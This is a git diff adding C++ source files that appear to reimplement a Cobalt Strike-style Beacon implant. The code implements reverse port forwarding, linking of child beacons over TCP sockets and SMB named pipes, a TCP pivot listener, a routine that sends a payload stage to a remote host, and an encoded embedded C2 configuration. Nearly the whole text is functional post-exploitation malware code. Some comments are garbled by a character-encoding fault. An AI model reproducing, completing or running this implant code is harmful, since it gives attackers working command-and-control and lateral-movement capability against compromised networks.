BeaconTaskOutput(buffer, length, 23); + BeaconFormatFree(&pformatp); + } + } + else if (pgBeaconRportfwd->field_10 == 3) + { + if (__WSAFDIsSet(pgBeaconRportfwd->socket, &readfds)) + { + SOCKET s = accept(pgBeaconRportfwd->socket, 0, 0); + ChildBeacon pTcpChildBeacon = {0}; + InitTcpChildBeacon(s, &pTcpChildBeacon); + int port = pgBeaconRportfwd->port | 0x110000; + AddChildBeacon( + port, + &pTcpChildBeacon, + &pTcpChildBeacon, + pTcpChildBeacon.recvChildBeacon, + pTcpChildBeacon.sendChildBeacon, + pTcpChildBeacon.closeChildBeacon, + pTcpChildBeacon.FlushFileBuffers, + pTcpChildBeacon.checkChildBeacon); + } + } + else + { + if (__WSAFDIsSet(pgBeaconRportfwd->socket, &exceptfds)) + { + pgBeaconRportfwd->state = 0; + BeaconTaskOutput((char*)&data, 4, 4); + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + continue; + } + if (__WSAFDIsSet(pgBeaconRportfwd->socket, &writefds)) + { + pgBeaconRportfwd->state = 1; + BeaconTaskOutput((char*)&data, 4, 6); + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + continue; + } + if (!__WSAFDIsSet(pgBeaconRportfwd->socket, &readfds)) + { + if (GetTickCount() - pgBeaconRportfwd->field_18 <= pgBeaconRportfwd->field_8_time) + { + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + continue; + } + + pgBeaconRportfwd->state = 0; + BeaconTaskOutput((char*)&data, 4, 4); + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + continue; + } + SOCKET ss = accept(pgBeaconRportfwd->socket, 0, 0); + pgBeaconRportfwd->socket = ss; + if (ss == -1) + { + pgBeaconRportfwd->state = 0; + BeaconTaskOutput((char*)&data, 4, 4); + } + else + { + pgBeaconRportfwd->state = 1; + BeaconTaskOutput((char*)&data, 4, 6); + } + closesocket(ss); + } + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + } + } +} + + +int sub_10006981(char* buffer, SOCKET s, int size) +{ + + if (size <= 0) + { + return 0; + } + int recvsize=0; + while (1) + { + int ret = recv(s, &buffer[recvsize], size - recvsize, 0); + recvsize += ret; + if (ret == -1) + { + break; + } + if (recvsize >= size) + { + return recvsize; + } + } + shutdown(s, 2); + closesocket(s); + return -1; +} + +char* precvdata=0; +int sub_1000707E() +{ + int n=0; + BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd; + if (!precvdata) + { + precvdata = (char*)malloc(0x100000u); + } + + while (pgBeaconRportfwd) + { + if (pgBeaconRportfwd->state != 1) + { + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + continue; + } + *(int*)precvdata = htonl(pgBeaconRportfwd->field_0); + u_long argp = 0; + int ret = ioctlsocket(pgBeaconRportfwd->socket, 0x4004667F, &argp); + if (argp > 0xFFFFC) + { + argp = 0xFFFFC; + } + if (ret == -1) + { + pgBeaconRportfwd->state = 0; + BeaconTaskOutput(precvdata, 4, 4); + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + continue; + } + if (!argp) + { + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + continue; + } + int recvsize = sub_10006981(precvdata + 4, pgBeaconRportfwd->socket, argp);//argp=12 + if (recvsize == -1) + { + pgBeaconRportfwd->state = 0; + BeaconTaskOutput(precvdata, 4u, 4u); + } + else if (recvsize == argp) + { + BeaconTaskOutput(precvdata, argp + 4, 5);// + ++n; + } + + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + } + return n; +} + +void sub_10006FF5() +{ + BeaconRportfwd* temp=0; + BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd; + if (pgBeaconRportfwd) + { + while (1) + { + if (pgBeaconRportfwd->state) + { + temp = pgBeaconRportfwd; + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + continue; + } + if (!pgBeaconRportfwd->field_C_time) + { + pgBeaconRportfwd->field_C_time = GetTickCount(); + temp = pgBeaconRportfwd; + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + continue; + } + if (GetTickCount() - pgBeaconRportfwd->field_C_time <= 0x3E8) + { + temp = pgBeaconRportfwd; + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + continue; + } + if (!pgBeaconRportfwd->field_10) + { + shutdown(pgBeaconRportfwd->socket, 2); + } + if (closesocket(pgBeaconRportfwd->socket) && pgBeaconRportfwd->field_10 == 2) + { + temp = pgBeaconRportfwd; + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + if (!pgBeaconRportfwd) + { + return; + } + continue; + } + if (!temp) + { + gBeaconRportfwd = pgBeaconRportfwd->Linked; + free(pgBeaconRportfwd); + return; + } + temp->Linked = pgBeaconRportfwd->Linked; + free(pgBeaconRportfwd); + pgBeaconRportfwd = temp->Linked; + if (!pgBeaconRportfwd) + { + return; + } + } + + } + + +} + + +void sub_10006B2B(char* Taskdata,int taskdatasize) +{ + int unknown = ntohl(*(u_long*)Taskdata); + int port = ntohs(*(u_short*)(Taskdata+4)); + int size = taskdatasize - 6; + if (size >= 1023) + { + size = 1023; + } + char name[1024]; + memcpy(name, Taskdata+6, size); + name[size] = 0; + init_socket_options(); + SOCKET s = socket(2, 1, 0); + if (s == -1) + { + closesocket(0xFFFFFFFF); + + BeaconTaskOutput(Taskdata, 4u, 4u); + return; + } + hostent* host = gethostbyname(name); + if (!host) + { + closesocket(s); + BeaconTaskOutput(Taskdata, 4u, 4u); + return; + } + + sockaddr_in addr; + memcpy(&addr.sin_addr, *(const void **)host->h_addr_list, host->h_length); + addr.sin_port = htons(port); + addr.sin_family = AF_INET; + + u_long argp =1; + if (ioctlsocket(s, 0x8004667E, &argp) == -1 + || connect(s, (sockaddr *)&addr, sizeof(sockaddr_in)) == -1 && WSAGetLastError() != 10035) + { + closesocket(s); + BeaconTaskOutput(Taskdata, 4u, 4u); + return; + } + Add_Beacon_Rportfwd(unknown, s, 30000, 0, 0, 2); +} + + + +void sub_10006C36(BeaconRportfwd* pBeaconRportfwd, char* buf, int len) +{ + fd_set writefds; + fd_set exceptfds; + + timeval timeout; + timeout.tv_sec = 0; + timeout.tv_usec = 100; + + int time = GetTickCount() + 30000; + + while (GetTickCount() < time) + { + writefds.fd_array[0] = pBeaconRportfwd->socket; + writefds.fd_count = 1; + + exceptfds.fd_array[0] = writefds.fd_array[0]; + exceptfds.fd_count = 1; + + select(0, 0, &writefds, &exceptfds, &timeout); + if (__WSAFDIsSet(pBeaconRportfwd->socket, &exceptfds)) + { + break; + } + if (__WSAFDIsSet(pBeaconRportfwd->socket, &writefds)) + { + if (send(pBeaconRportfwd->socket, buf, len, 0) != -1 || WSAGetLastError() != 10035) + { + return; + } + Sleep(0x3E8); + } + } +} + +void sub_10006CFC(char* Taskdata, int taskdatasize) +{ + + BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd; + u_long unknown = ntohl(*(u_long*)Taskdata); + + while (pgBeaconRportfwd) + { + if (pgBeaconRportfwd->state == 1 && unknown == pgBeaconRportfwd->field_0) + { + sub_10006C36(pgBeaconRportfwd, Taskdata+4, taskdatasize-4); + } + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + } +} + +void sub_10006ACD(char* Taskdata) +{ + + datap pdatap; + int unknown = BeaconDataInt(&pdatap); + short port = BeaconDataShort(&pdatap); + SOCKET socket = BeaconNewSocket(0, port, 1); + if (socket == -1) + { + BeaconTaskOutput(Taskdata, 4u, 4u); + } + else + { + Add_Beacon_Rportfwd(unknown, socket, 180000, 1, port, 2); + } +} \ No newline at end of file diff --git a/ReBeacon_Src/Beaconrportfwd.h b/ReBeacon_Src/Beaconrportfwd.h new file mode 100644 index 0000000..0785d03 --- /dev/null +++ b/ReBeacon_Src/Beaconrportfwd.h @@ -0,0 +1,40 @@ +#pragma once +#include "Utils.h" +#pragma pack(1) +struct BeaconRportfwd +{ + int field_0; + int state; + int field_8_time; + int field_C_time; + int field_10; + int port; + int field_18; + SOCKET socket; + BeaconRportfwd* Linked; +}; +#pragma pack() + +extern BeaconRportfwd* gBeaconRportfwd; + +int sub_10006D6B(); + +void sub_100071B7(char* Taskdata, int Task_size, int addr); + +void sub_1000728D(char* Taskdata, int Task_size); + +SOCKET BeaconNewSocket(int addr, u_short port, int backlog); + +void Add_Beacon_Rportfwd(int unknown, SOCKET socket, int a3, int a4, int port, int a6); + +void sub_10006D81(); + +int sub_1000707E(); + +void sub_10006FF5(); + +void sub_10006B2B(char* Taskdata, int taskdatasize); + +void sub_10006CFC(char* Taskdata, int taskdatasize); + +void sub_10006ACD(char* Taskdata); \ No newline at end of file diff --git a/ReBeacon_Src/ChildBeacon.cpp b/ReBeacon_Src/ChildBeacon.cpp new file mode 100644 index 0000000..cbac497 --- /dev/null +++ b/ReBeacon_Src/ChildBeacon.cpp @@ -0,0 +1,765 @@ +#include "ChildBeacon.h" +#include "Beaconrportfwd.h" + + +//ӵbeacon +ChildBeaconInfo gChildBeaconInfo[40] = {0}; +int gChildBeaconInfoSize = 40; + +void BeaconNull() +{ + return; +} + +//************************************ +// Method: GetChildBeaconMsgHeader +// FullName: GetChildBeaconMsgHeader +// Access: public +// Returns: char* +// Qualifier:ȡbeacon (tcpsmb) ͨϢͷ +// Parameter: int id +// Parameter: int * out_size +// Parameter: DWORD size +//************************************ +char* GetChildBeaconMsgHeader(int id, int* out_size, DWORD size) +{ + datap pdatap; + char* frame_header = get_str(id); + BeaconDataParse(&pdatap, frame_header, 128); + int datasize = BeaconDataShort(&pdatap); + + char* messagesheader = BeaconDataPtr(&pdatap, datasize); + + //Packer packer = new Packer(); + //packer.addShort(bytes.length + 4); + //packer.append(bytes); + *(int*)&messagesheader[datasize - 4] = size; + *out_size = datasize; + return messagesheader; +} + +/// +/// recvװ +/// +/// +/// +/// +/// +int RecvTcpData(int size, SOCKET s, char* data) +{ + int number = 0; + if (size <= 0) + { + if (number == size) + { + return size; + } + } + else + { + while (1) + { + int retsize = recv(s, &data[number], size - number, 0); + if (retsize == -1) + { + break; + } + if (retsize) + { + number += retsize; + if (number < size) + { + continue; + } + } + if (number == size) + { + return size; + } + retsize -1; + } + } + return -1; +} + +int recvTcpChildBeacon(ChildBeacon* pTcpBeacon, char* pdata, int size) +{ + int outsize; + char* data = GetChildBeaconMsgHeader(58, &outsize, 0); + int recvsize = RecvTcpData(outsize, pTcpBeacon->tcp, data); + if (recvsize == -1) + { + return -1; + } + if (recvsize != outsize) + { + return -1; + } + int len = *(DWORD*)&data[outsize - 4]; + if (len > size || len < 0) + { + return -1; + } + else + { + return RecvTcpData(len, pTcpBeacon->tcp, pdata); + } +} + +/// +/// sendװ +/// +/// +/// +/// +/// +BOOL SendTcpData(SOCKET s, char* buf, int len) +{ + return !len || send(s, buf, len, 0) != -1; +} + +BOOL sendTcpChildBeacon(ChildBeacon* pTcpBeacon, char* buffer, int buffsize) +{ + + int len; + char* data = GetChildBeaconMsgHeader(58, &len, buffsize); + BOOL ret = SendTcpData(pTcpBeacon->tcp, data, len); + if (ret) + { + return SendTcpData(pTcpBeacon->tcp, buffer, buffsize); + } + return ret; +} + + +int closeTcpChildBeacon(ChildBeacon* pTcpBeacon) +{ + shutdown(pTcpBeacon->tcp, 2); + return closesocket(pTcpBeacon->tcp); +} + +int checkTcpChildBeaconTimeout(SOCKET s, int time) +{ + + int timea = 0; + int timeout = time + GetTickCount(); + + u_long argp = 1; + if (ioctlsocket(s, FIONBIO, &argp) == -1) + { + return 0; + } + char buf; + while (GetTickCount() < timeout) + { + int recvsize = recv(s, &buf, 1, 2); + if (!recvsize) + { + timea = 0; + break; + } + if (recvsize > 0) + { + timea = 1; + break; + } + if (WSAGetLastError() != 10035) + { + timea = 0; + break; + } + Sleep(0xA); + } + argp = 0; + return ioctlsocket(s, FIONBIO, &argp) != -1 ? timea : 0; +} + +int checkTcpChildBeacon(ChildBeacon* pTcpBeacon, int time) +{ + return checkTcpChildBeaconTimeout(pTcpBeacon->tcp, time); +} + +/// +/// ʼtcpbeacon +/// +/// +/// +/// +ChildBeacon* InitTcpChildBeacon(SOCKET conn, ChildBeacon* pTcpBeacon) +{ + + + u_long argp = 0; + ioctlsocket(conn, FIONBIO, &argp); + pTcpBeacon->FlushFileBuffers = (FlushFileBuffers_ptr)BeaconNull; + pTcpBeacon->null2 = BeaconNull; + pTcpBeacon->tcp = conn; + pTcpBeacon->recvChildBeacon = recvTcpChildBeacon; + pTcpBeacon->sendChildBeacon = sendTcpChildBeacon; + pTcpBeacon->closeChildBeacon = closeTcpChildBeacon; + pTcpBeacon->checkChildBeacon = checkTcpChildBeacon; + return pTcpBeacon; +} + + +SOCKET ConnectTcp(char* name, u_short port) +{ + struct sockaddr address; + SOCKET s = socket(2, 1, 0); + if (s == -1) + { + return -1; + } + hostent* hptr = gethostbyname(name); + if (!hptr) + { + return -1; + } + memcpy(&address.sa_data[2], *(const void**)hptr->h_addr_list, hptr->h_length); + address.sa_family = 2; + *(short*)address.sa_data = htons(port); + + if (connect(s, &address, 16)) + { + closesocket(s); + return -1; + } + return s; +} + +/// +/// smbtcpݵӦһChildBeacon +/// +/// +/// +/// +/// +/// +/// +/// ˲smbFlushFileBuffers +/// +/// +int __cdecl AddChildBeacon( + u_long port, + ChildBeacon* smb, + ChildBeacon* tcp, + recvChildBeacon_ptr recvChildBeacon, + sendChildBeacon_ptr sendChildBeacon, + closeChildBeacon_ptr closeChildBeacon, + void* BeaconNULL, + checkChildBeacon_ptr checkChildBeacon) +{ + + char buffer[256] = { 0 }; + if (!checkChildBeacon(smb, 30000)) + { + return 0; + } + + int recvsize = recvChildBeacon(tcp, buffer, 256); + if (recvsize < 0) + { + return 0; + } + //ȡbeacon id + int ChildBeaconId = *(DWORD*)buffer; + + //ѰҿеĽṹ + int index_idle = -1; + for (size_t i = 0; i < gChildBeaconInfoSize; i++) + { + + if (gChildBeaconInfo[i].state == 0) + { + index_idle = i; + break; + } + } + //ûҵֱӷerror + if (index_idle == -1) + { + BeaconErrorNA(5); + return 0; + } + gChildBeaconInfo[index_idle].time = 0; + BOOL checkingdata = gChildBeaconInfo[index_idle].ChildBeaconData == 0; + gChildBeaconInfo[index_idle].state = 1; + gChildBeaconInfo[index_idle].ChildBeaconId = ChildBeaconId; + + + //ӵȫֽṹ + gChildBeaconInfo[index_idle].ChildBeaconConfig.tcp = smb->tcp; + gChildBeaconInfo[index_idle].ChildBeaconConfig.smb = smb->smb; + gChildBeaconInfo[index_idle].ChildBeaconConfig.checkChildBeacon = smb->checkChildBeacon; + gChildBeaconInfo[index_idle].ChildBeaconConfig.closeChildBeacon = smb->closeChildBeacon; + gChildBeaconInfo[index_idle].ChildBeaconConfig.FlushFileBuffers = smb->FlushFileBuffers; + gChildBeaconInfo[index_idle].ChildBeaconConfig.null2 = smb->null2; + gChildBeaconInfo[index_idle].ChildBeaconConfig.recvChildBeacon = smb->recvChildBeacon; + gChildBeaconInfo[index_idle].ChildBeaconConfig.sendChildBeacon = smb->sendChildBeacon; + + if (checkingdata) + { + gChildBeaconInfo[index_idle].ChildBeaconData = (char*)malloc(256); + } + formatp pdata; + BeaconFormatInit(&pdata, gChildBeaconInfo[index_idle].ChildBeaconData, 256); + BeaconFormatInt(&pdata, ChildBeaconId); // beacon id + BeaconFormatInt(&pdata, port); // beacon ˿ + BeaconFormatAppend(&pdata, &buffer[4], recvsize - 4); // beacon + int ChildBeaconDatalength = BeaconFormatlength(&pdata); + char* ChildBeaconData = gChildBeaconInfo[index_idle].ChildBeaconData; + gChildBeaconInfo[index_idle].ChildBeaconDataSize = ChildBeaconDatalength; + BeaconTaskOutput(ChildBeaconData, ChildBeaconDatalength, 10); + return 1; +} + +/// +/// tcpBeacon +/// +/// +/// +void connect_tcp_child_Beacon(char* Taskdata, int Task_size) +{ + + DWORD timeout = GetTickCount() + 15000; + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + short port = BeaconDataShort(&pdatap); + char* name = BeaconDataBuffer(&pdatap); + init_socket_options(); + SOCKET conn; + while (1) + { + if (GetTickCount() >= timeout) + { + BeaconErrorD(0x44, WSAGetLastError()); + return; + } + conn = ConnectTcp(name, port); + if (conn != -1) + { + break; + } + Sleep(1000); + } + ChildBeacon TcpBeacon = {0}; + InitTcpChildBeacon(conn, &TcpBeacon); + AddChildBeacon( + port | 0x100000, + &TcpBeacon, + &TcpBeacon, + TcpBeacon.recvChildBeacon, + TcpBeacon.sendChildBeacon, + TcpBeacon.closeChildBeacon, + TcpBeacon.FlushFileBuffers, + TcpBeacon.checkChildBeacon); +} + + +void BeaconUnlink(u_long ChildBeaconId) +{ + size_t i; + for (i = 0; i <= gChildBeaconInfoSize; i++) + { + if (ChildBeaconId == gChildBeaconInfo[i].ChildBeaconId || gChildBeaconInfo[i].state == 1) + { + break; + } + if (i >= gChildBeaconInfoSize) + { + return; + } + } + ChildBeaconId = htonl(ChildBeaconId); + BeaconTaskOutput((char*)&ChildBeaconId, 4, 0xB); + + + gChildBeaconInfo[i].ChildBeaconConfig.closeChildBeacon(&gChildBeaconInfo[i].ChildBeaconConfig); + + gChildBeaconInfo[i].ChildBeaconId = 0; + gChildBeaconInfo[i].state = 0; + gChildBeaconInfo[i].time = 0; +} + +char* pChildbeacondata = NULL; + +/// +/// beaconʱcs᲻Ϸ22ܺŵô˺ +/// +/// +/// +void BeaconRequestChildBeacon(char* Taskdata, int Task_size) +{ + if (!pChildbeacondata) + { + pChildbeacondata = (char*)malloc(0x100000u); + } + int ChildBeaconId = ntohl(*(u_long*)Taskdata); + + size_t i; + for (i = 0; i <= gChildBeaconInfoSize; i++) + { + if (ChildBeaconId == gChildBeaconInfo[i].ChildBeaconId || gChildBeaconInfo[i].state == 1) + { + int retsize = 0; + if (Task_size - 4 <= 0) + { + retsize = gChildBeaconInfo[i].ChildBeaconConfig.sendChildBeacon( + &gChildBeaconInfo[i].ChildBeaconConfig, + 0, + 0 + ); + } + else + { + retsize = gChildBeaconInfo[i].ChildBeaconConfig.sendChildBeacon( + &gChildBeaconInfo[i].ChildBeaconConfig, + Taskdata + 4, + Task_size - 4 + ); + } + if (retsize) + { + *(int*)pChildbeacondata = *(int*)Taskdata; + BOOL check = gChildBeaconInfo[i].ChildBeaconConfig.checkChildBeacon( + &gChildBeaconInfo[i].ChildBeaconConfig, + 300000 + ); + int outsize = 0; + if (check) + { + outsize = gChildBeaconInfo[i].ChildBeaconConfig.recvChildBeacon( + &gChildBeaconInfo[i].ChildBeaconConfig, + pChildbeacondata + 4, + 0x100000 - 4 + ); + } + else + { + outsize = -1; + } + + if (outsize <= 0) + { + if (outsize) + { + BeaconUnlink(ChildBeaconId); + } + else + { + BeaconTaskOutput(pChildbeacondata, 4u, 0xC); + } + } + else + { + BeaconTaskOutput(pChildbeacondata, outsize + 4, 0xC); + } + } + else + { + BeaconUnlink(ChildBeaconId); + } + + + } + if (i >= gChildBeaconInfoSize) + { + return; + } + } + +} + +int SendStageTCP(char* Taskdata, int Task_size) +{ + int timeout = GetTickCount() + 60000; + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + char* name = BeaconDataPtr2(&pdatap); + int port = BeaconDataInt(&pdatap); + char* buf = (char*)BeaconDataBuffer(&pdatap); + int len = BeaconDataLength(&pdatap); + init_socket_options(); + SOCKET s =0; + while (1) + { + if (GetTickCount() >= timeout) + { + BeaconErrorNA(0x46); + Sleep(1000); + return closesocket(s); + } + s = ConnectTcp(name, port); + if (s != -1) + { + break; + } + Sleep(1000); + } + send(s, buf, len, 0); + Sleep(1000); + return closesocket(s); +} + + +/////smb beacon + +BOOL __cdecl BeaconFlushFileBuffers(ChildBeacon* pSmbBeacon) +{ + return FlushFileBuffers(pSmbBeacon->smb); +} + +int RecvSmbData(HANDLE hFile, char* buffer,int size) +{ + + DWORD NumberOfBytesRead = 0; + int readsize = 0; + if (size <= 0) + { + if (readsize == size) + { + return readsize; + } + } + else + { + while (ReadFile(hFile, &buffer[readsize], size - readsize, &NumberOfBytesRead, 0) && NumberOfBytesRead) + { + readsize += NumberOfBytesRead; + if (readsize >= size) + { + if (readsize == size) + { + return readsize; + } + return -1; + } + } + } + return -1; +} + +int __cdecl recvSmbChildBeacon(ChildBeacon* pSmbBeacon, char* data, int size) +{ + int outsize; + char* buffer = GetChildBeaconMsgHeader(57, &outsize, 0); + + int read = RecvSmbData(pSmbBeacon->smb, buffer, outsize); + if (read == -1) + { + return -1; + } + if (read != outsize) + { + return -1; + } + int datasize = *(int*)&buffer[outsize - 4]; + if (datasize > size || datasize < 0) + { + return -1; + } + else + { + return RecvSmbData(pSmbBeacon->smb, data, datasize); + } +} + +BOOL __cdecl SendSmbData(HANDLE hFile, char* buffer, int buffersize) +{ + DWORD NumberOfBytesWritten = 0; + int Writesize =0; + if (buffersize > 0) + { + while (1) + { + int nNumberOfBytesToWrite = buffersize - Writesize; + if (nNumberOfBytesToWrite > 0x2000) + { + nNumberOfBytesToWrite = 0x2000; + } + if (!WriteFile(hFile, &buffer[Writesize], nNumberOfBytesToWrite, &NumberOfBytesWritten, 0)) + { + break; + } + Writesize += NumberOfBytesWritten; + if (Writesize >= buffersize) + { + return 1; + } + } + return 0; + } + return 1; +} + +BOOL __cdecl sendSmbChildBeacon(ChildBeacon* pSmbBeacon, char* data, int size) +{ + int outsize; + char* buffer = GetChildBeaconMsgHeader(57, &outsize, size); + if (SendSmbData(pSmbBeacon->smb, buffer, outsize)) + { + return SendSmbData(pSmbBeacon->smb, data, size); + } + return 0; +} +BOOL __cdecl closeSmbChildBeacon(ChildBeacon* pSmbBeacon) +{ + DisconnectNamedPipe(pSmbBeacon->smb); + return CloseHandle(pSmbBeacon->smb); +} +int __cdecl checkSmbChildBeaconTimeout(HANDLE hNamedPipe, int timeout) +{ + DWORD TotalBytesAvail; + int time = timeout + GetTickCount(); + if (GetTickCount() < time) + { + while (PeekNamedPipe(hNamedPipe, 0, 0, 0, &TotalBytesAvail, 0)) + { + if (TotalBytesAvail) + { + return 1; + } + Sleep(10); + if (GetTickCount() >= time) + { + return 0; + } + } + } + return 0; +} +int __cdecl checkSmbChildBeacon(ChildBeacon* pSmbBeacon, int timeout) +{ + return checkSmbChildBeaconTimeout(pSmbBeacon->smb, timeout); +} + + +/// +/// ʼsmb beacon +/// +/// +/// +/// +ChildBeacon* InitSmbChildBeacon(ChildBeacon* pSmbBeacon, HANDLE conn) +{ + pSmbBeacon->smb = conn; + pSmbBeacon->recvChildBeacon = recvSmbChildBeacon; + pSmbBeacon->sendChildBeacon = sendSmbChildBeacon; + pSmbBeacon->closeChildBeacon = closeSmbChildBeacon; + pSmbBeacon->FlushFileBuffers = BeaconFlushFileBuffers; + pSmbBeacon->checkChildBeacon = checkSmbChildBeacon; + pSmbBeacon->null2 = BeaconNull; + return pSmbBeacon; +} + + +void ConnectSmbBeacon(LPCSTR Name) +{ + + int timeout = GetTickCount() + 15000; + HANDLE HFile; + while (1) + { + HFile = CreateFileA(Name, GENERIC_READ|GENERIC_WRITE, 0, 0, 3u, 0x100000, 0); + if (HFile != (HANDLE)-1) + { + break; + } + if (GetLastError() == 231) + { + WaitNamedPipeA(Name, 0x2710); + } + else + { + Sleep(0x3E8u); + } + if (GetTickCount() >= timeout) + { + if (HFile == (HANDLE)-1) + { + if (GetLastError() == 121) + { + BeaconErrorNA(4); + } + else + { + BeaconErrorD(20, GetLastError()); + } + return; + } + } + } + DWORD Mode = PIPE_READMODE_MESSAGE; + ChildBeacon SmbBeacon = { 0 }; + if (SetNamedPipeHandleState(HFile, &Mode, 0, 0)) + { + InitSmbChildBeacon(&SmbBeacon, HFile); + if (AddChildBeacon( + 445, + &SmbBeacon, + &SmbBeacon, + SmbBeacon.recvChildBeacon, + SmbBeacon.sendChildBeacon, + SmbBeacon.closeChildBeacon, + SmbBeacon.FlushFileBuffers, + SmbBeacon.checkChildBeacon)) + { + return; + } + } + else + { + BeaconErrorD(0x14u, GetLastError()); + } + DisconnectNamedPipe(HFile); + CloseHandle(HFile); +} + +void link_Smb_Beacon(char* Taskdata) +{ + ConnectSmbBeacon(Taskdata); +} + + +//************************************ +// Method: BeaconTcpPivot +// FullName: BeaconTcpPivot +// Access: public +// Returns: void +// Qualifier:ܺ82 tcpת +// Parameter: char * Taskdata +// Parameter: int TaskdataSize +//************************************ +void BeaconTcpPivot(char* Taskdata, int TaskdataSize) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, TaskdataSize); + short port = BeaconDataShort(&pdatap); + SOCKET s = BeaconNewSocket(0, port, 10); + if (s == -1) + { + BeaconErrorD(0x15u, port); + } + else + { + Add_Beacon_Rportfwd(sub_10006D6B(), s, 0, 3, port, 2); + } +} + +/// +/// дbeacon id +/// +void CheckChildBeacon() +{ + ChildBeaconInfo* pgChildBeaconInfo = gChildBeaconInfo; + for (size_t i = 0; i < gChildBeaconInfoSize; i++) + { + if (pgChildBeaconInfo[i].state == 1 && pgChildBeaconInfo[i].time < GetTickCount()) + { + pgChildBeaconInfo[i].time = GetTickCount()+ 15000; + int ChildBeaconId= pgChildBeaconInfo[i].ChildBeaconId; + ChildBeaconId = htonl(ChildBeaconId); + BeaconTaskOutput((char*)&ChildBeaconId, 4u, 14); + } + } +} \ No newline at end of file diff --git a/ReBeacon_Src/ChildBeacon.h b/ReBeacon_Src/ChildBeacon.h new file mode 100644 index 0000000..ca445cd --- /dev/null +++ b/ReBeacon_Src/ChildBeacon.h @@ -0,0 +1,61 @@ +#pragma once +#include "comm.h" +#include "common.h" +///////////////////////////////////// + + + + +/// +/// tcpsmbbeaconĽṹ +/// +struct ChildBeacon +{ + HANDLE smb; /*smb beaconӾ*/ + SOCKET tcp; /*tcp beaconӾ*/ + int(*recvChildBeacon)(ChildBeacon*, char*, int);/*ȡbeacon*/ + int(*sendChildBeacon)(ChildBeacon*, char*, int); /*beacon*/ + int(*closeChildBeacon)(ChildBeacon*); /*رbeacon*/ + BOOL(*FlushFileBuffers)(ChildBeacon*);/*smb beacon*/ + int(*checkChildBeacon)(ChildBeacon*, int);/*beacon*/ + void* null2; /*պ*/ +}; +typedef int (__cdecl* recvChildBeacon_ptr)(ChildBeacon*, char*, int); +typedef int(__cdecl* sendChildBeacon_ptr)(ChildBeacon*, char*, int); /*beacon*/ +typedef int(__cdecl* closeChildBeacon_ptr)(ChildBeacon*); /*رbeacon*/ +typedef BOOL(__cdecl* FlushFileBuffers_ptr)(ChildBeacon*);/*smb beacon*/ +typedef int(__cdecl* checkChildBeacon_ptr)(ChildBeacon*, int);/*beacon*/ + +struct ChildBeaconInfo +{ + int ChildBeaconId; /*beacon id*/ + ChildBeacon ChildBeaconConfig; /*beaconϢ*/ + int state; /*beacon״̬*/ + char* ChildBeaconData; /**/ + int ChildBeaconDataSize; + int time; +}; + +extern ChildBeaconInfo gChildBeaconInfo[40]; +extern int gChildBeaconInfoSize; + +void BeaconRequestChildBeacon(char* Taskdata, int Task_size); + + +void BeaconUnlink(u_long ChildBeaconId); + +int SendStageTCP(char* Taskdata, int Task_size); + +void link_Smb_Beacon(char* Taskdata); + +void BeaconTcpPivot(char* Taskdata, int TaskdataSize); + +void connect_tcp_child_Beacon(char* Taskdata, int Task_size); + +ChildBeacon* InitTcpChildBeacon(SOCKET conn, ChildBeacon* pTcpBeacon); + +int __cdecl AddChildBeacon(u_long port,ChildBeacon* smb,ChildBeacon* tcp, recvChildBeacon_ptr recvChildBeacon, sendChildBeacon_ptr sendChildBeacon, closeChildBeacon_ptr closeChildBeacon,void* BeaconNULL, checkChildBeacon_ptr checkChildBeacon); + +void CheckChildBeacon(); + +int RecvSmbData(HANDLE hFile, char* buffer, int size); \ No newline at end of file diff --git a/ReBeacon_Src/Global.cpp b/ReBeacon_Src/Global.cpp new file mode 100644 index 0000000..06113df --- /dev/null +++ b/ReBeacon_Src/Global.cpp @@ -0,0 +1,446 @@ +#include "Global.h" +HINSTANCE Beacon_Dllbase; + +/// +/// к̨߳ +/// +int BackgroundThreadsNumber; + +PVOID lpStartAddress; + +/*Beacon C2Ϣ*/ +char* CsC2Config = NULL; + + +unsigned char rawData[4096] = { + 0x2E, 0x2F, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x2C, 0x2E, 0x2F, + 0x2E, 0x2C, 0x2E, 0x7E, 0x2E, 0x2D, 0x2E, 0x2C, 0x2E, 0x2A, 0x2E, 0x2E, + 0xC4, 0x4E, 0x2E, 0x2A, 0x2E, 0x2C, 0x2E, 0x2A, 0x2E, 0x3E, 0x2E, 0x2E, + 0x2E, 0x2B, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x29, 0x2E, 0x2D, + 0x2F, 0x2E, 0x1E, 0xAF, 0xB1, 0x1E, 0x23, 0x28, 0x27, 0x04, 0xA8, 0x66, + 0xA8, 0xD9, 0x23, 0x2F, 0x2F, 0x2F, 0x2B, 0x2E, 0x2D, 0xAF, 0xA3, 0x2E, + 0x1E, 0xAF, 0xA7, 0x2C, 0xAF, 0xAF, 0x2E, 0x94, 0x94, 0xF1, 0xE6, 0x51, + 0xE0, 0xAC, 0x49, 0xD2, 0x8C, 0x1B, 0xF6, 0xC0, 0x31, 0x83, 0x48, 0x02, + 0x9C, 0xC4, 0xA9, 0xBD, 0x0B, 0x71, 0x78, 0xE3, 0x36, 0xFA, 0x06, 0xD7, + 0x5E, 0x55, 0xB2, 0xFF, 